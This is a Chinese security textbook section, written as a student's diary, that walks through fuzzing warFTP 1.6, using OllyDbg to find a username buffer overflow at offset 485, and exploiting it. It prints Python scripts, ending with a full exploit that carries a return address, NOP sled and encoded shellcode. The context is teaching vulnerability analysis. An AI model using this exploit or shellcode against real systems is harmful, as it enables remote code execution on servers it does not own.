7.2.4 Python探测warFTP漏洞

小强日记之五

11月29日 阴

今天,老师布置了作业,涉及漏洞的利用和分析。我一点也不敢懈怠。下课后告别小倩回到家中,匆匆吃完饭后就坐在电脑前看老师推荐的Fusser。

在网站上下载了一个Fusser 1.0(光盘也有收录),直接在命令行下敲 fuzzer.py ,就会给出使用帮助信息,即主机IP、端口、探测协议。如图7-19。

我琢磨如何利用它进行自动探测呢?想了想,不如把warFTP安装好,直接测试!

再下载了一个warFTP 1.6版本(光盘有收录),安装后其界面如图7-20。同样简洁明了,但没有CCProxy那样规范,有点随意化。

输入 fuzzer.py 192.168.3.151 21 ftp ,尝试着测试一下FTP协议,哇!一下就报出探测到漏洞了:Bug found,如图7-21。自动化就是好啊!

根据提示,看来是处理User名的时候有溢出问题!于是边回忆老师讲的内容,边用Python构造字符串实现定位。看了看Python的帮助,自己试着写了个FTP协议的探测程序。首先加载FTP协议包,然后连接FTP,发送超长的用户名,程序如下:

from ftplib import FTP
ftp = FTP('192.168.3.151')
ftp.login( 'A'*500,'ww')

哈哈,一下子就成功了!warFTP没有反应,挂掉了。如老师所说,有了一门语言的基础,对比学习另一门语言,是个很快的过程。

看来500个字节的用户名实现了溢出,但没有出错对话框弹出,所以要用OllyDbg来帮助定位。我先重新启动warFtp,再用Ollydbg加载程序。如图7-22 和图7-23。

重新执行刚才的程序,这下Ollydbg截获了异常!41414141不能执行,就是我们发送的字符串。如图7-24。

重启warFTP,我发现只需用“Debug”菜单下的“Restart”就可重新启动并加载程序了,而且加的注释也不会丢失,如图7-25。这下方便多了!

一不小心就发现了一个小技巧,我暗自得意了一会儿,然后就考虑定位了。

经过这学期的学习,定位的方法我已经牢牢掌握了。首先定位百位,ABCDE各占100,程序如下:

from ftplib import FTP
ftp = FTP('192.168.3.151')
s = 'A'*100 + 'B'*100+'C'*100+'D'*100+'E'*100
ftp.login( s,'ww')

Ollydbg截获异常,如图7-26。

0x45454545不能执行,0x45是“E”,E-A=4,即是400多的地方到达异常点。

百位是4,再定位十位。先是400个A,然后在ABCD……各发10个,程序如下:

from ftplib import FTP
ftp = FTP('192.168.3.151')
s = 'A'*400 +'A'*10 + 'B'*10+'C'*10+'D'*10+'E'*10+'F'*10+'G'*10+'H'*10+'I'*10+'J'*10
ftp.login( s,'ww')

这次是49到达返回点,如图7-27。49-41=8,就是80多。

最后一次,定位个位。先是480个A,然后是“'ABCDEFGHIJ'”,程序如下:

from ftplib import FTP
ftp = FTP('192.168.3.151')
s = 'A'*400 +'A'*80+ 'ABCDEFGHIJ'
ftp.login( s,'ww')

这次是46474849到达返回点,截获的图如图7-28。

所以个位是0x46-0x41=5。400+80+5=485!我们把485的地方改为BBBB,其余全为AAAA,检验一下。

from ftplib import FTP
ftp = FTP('192.168.3.151')
s = 'A'*485 +'BBBB'+'AAAA'
ftp.login( s,'ww')

测试,果然是42424242报错!轻松搞定定位溢出点!

然后就考虑利用了,构造是: USER A*485 + RET + ShellCode

在Python中,直接加ShellCode就可以了,构造起来真爽!嗯?怎么有不能写的错误,如图7-29。

添几个NOP看看,改进构造为: USER A*485 + RET + 32个Nop + ShellCode

程序如下:

from ftplib import FTP
ftp = FTP('192.168.3.151')
sc = 'A'*485 +'\x12\x45\xFA\x7F' + '\x41'*32
sc += "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\xe0\x66"
sc +="\x1c\xc2\x83\xeb\xfc\xe2\xf4\x1c\x8e\x4a\xc2\xe0\x66\x4f\x97\xb6"
sc +="\x31\x97\xae\xc4\x7e\x97\x87\xdc\xed\x48\xc7\x98\x67\xf6\x49\xaa"
sc +="\x7e\x97\x98\xc0\x67\xf7\x21\xd2\x2f\x97\xf6\x6b\x67\xf2\xf3\x1f"
sc +="\x9a\x2d\x02\x4c\x5e\xfc\xb6\xe7\xa7\xd3\xcf\xe1\xa1\xf7\x30\xdb"
sc +="\x1a\x38\xd6\x95\x87\x97\x98\xc4\x67\xf7\xa4\x6b\x6a\x57\x49\xba"
sc +="\x7a\x1d\x29\x6b\x62\x97\xc3\x08\x8d\x1e\xf3\x20\x39\x42\x9f\xbb"
sc +="\xa4\x14\xc2\xbe\x0c\x2c\x9b\x84\xed\x05\x49\xbb\x6a\x97\x99\xfc"
sc +="\xed\x07\x49\xbb\x6e\x4f\xaa\x6e\x28\x12\x2e\x1f\xb0\x95\x05\x61"
sc +="\x8a\x1c\xc3\xe0\x66\x4b\x94\xb3\xef\xf9\x2a\xc7\x66\x1c\xc2\x70"
sc +="\x67\x1c\xc2\x56\x7f\x04\x25\x44\x7f\x6c\x2b\x05\x2f\x9a\x8b\x44"
sc +="\x7c\x6c\x05\x44\xcb\x32\x2b\x39\x6f\xe9\x6f\x2b\x8b\xe0\xf9\xb7"
sc +="\x35\x2e\x9d\xd3\x54\x1c\x99\x6d\x2d\x3c\x93\x1f\xb1\x95\x1d\x69"
sc +="\xa5\x91\xb7\xf4\x0c\x1b\x9b\xb1\x35\xe3\xf6\x6f\x99\x49\xc6\xb9"
sc +="\xef\x18\x4c\x02\x94\x37\xe5\xb4\x99\x2b\x3d\xb5\x56\x2d\x02\xb0"
sc +="\x36\x4c\x92\xa0\x36\x5c\x92\x1f\x33\x30\x4b\x27\x57\xc7\x91\xb3"
sc +="\x0e\x1e\xc2\xf1\x3a\x95\x22\x8a\x76\x4c\x95\x1f\x33\x38\x91\xb7"
sc +="\x99\x49\xea\xb3\x32\x4b\x3d\xb5\x46\x95\x05\x88\x25\x51\x86\xe0"
sc +="\xef\xff\x45\x1a\x57\xdc\x4f\x9c\x42\xb0\xa8\xf5\x3f\xef\x69\x67"
sc +="\x9c\x9f\x2e\xb4\xa0\x58\xe6\xf0\x22\x7a\x05\xa4\x42\x20\xc3\xe1"
sc +="\xef\x60\xe6\xa8\xef\x60\xe6\xac\xef\x60\xe6\xb0\xeb\x58\xe6\xf0"
sc +="\x32\x4c\x93\xb1\x37\x5d\x93\xa9\x37\x4d\x91\xb1\x99\x69\xc2\x88"
sc +="\x14\xe2\x71\xf6\x99\x49\xc6\x1f\xb6\x95\x24\x1f\x13\x1c\xaa\x4d"
sc +="\xbf\x19\x0c\x1f\x33\x18\x4b\x23\x0c\xe3\x3d\xd6\x99\xcf\x3d\x95"
sc +="\x66\x74\x32\x6a\x62\x43\x3d\xb5\x62\x2d\x19\xb3\x99\xcc\xc2"
ftp.login( sc,'ww')

成功利用!如图7-30.

好了,现在来分析分析漏洞了,不熟悉的地方开始了。

按老师讲的方法,在溢出时记下保存返回地址的ESP值,ESP=00BBFD5C,然后设置写断点,看是哪个函数保存返回地址在那个ESP值中!

在Ollydbg中,用ALT+M弹出断点设置框,也可设置内存写断点。但是,设置后有无数的指令对00BBFD5C处的值进行了写操作。中断倒是中断了很多次,但次数太多了,根本不知道是哪个函数的操作。郁闷!调了半天都没调出来,还有其他课也布置了作业。没办法,下节课问老师吧!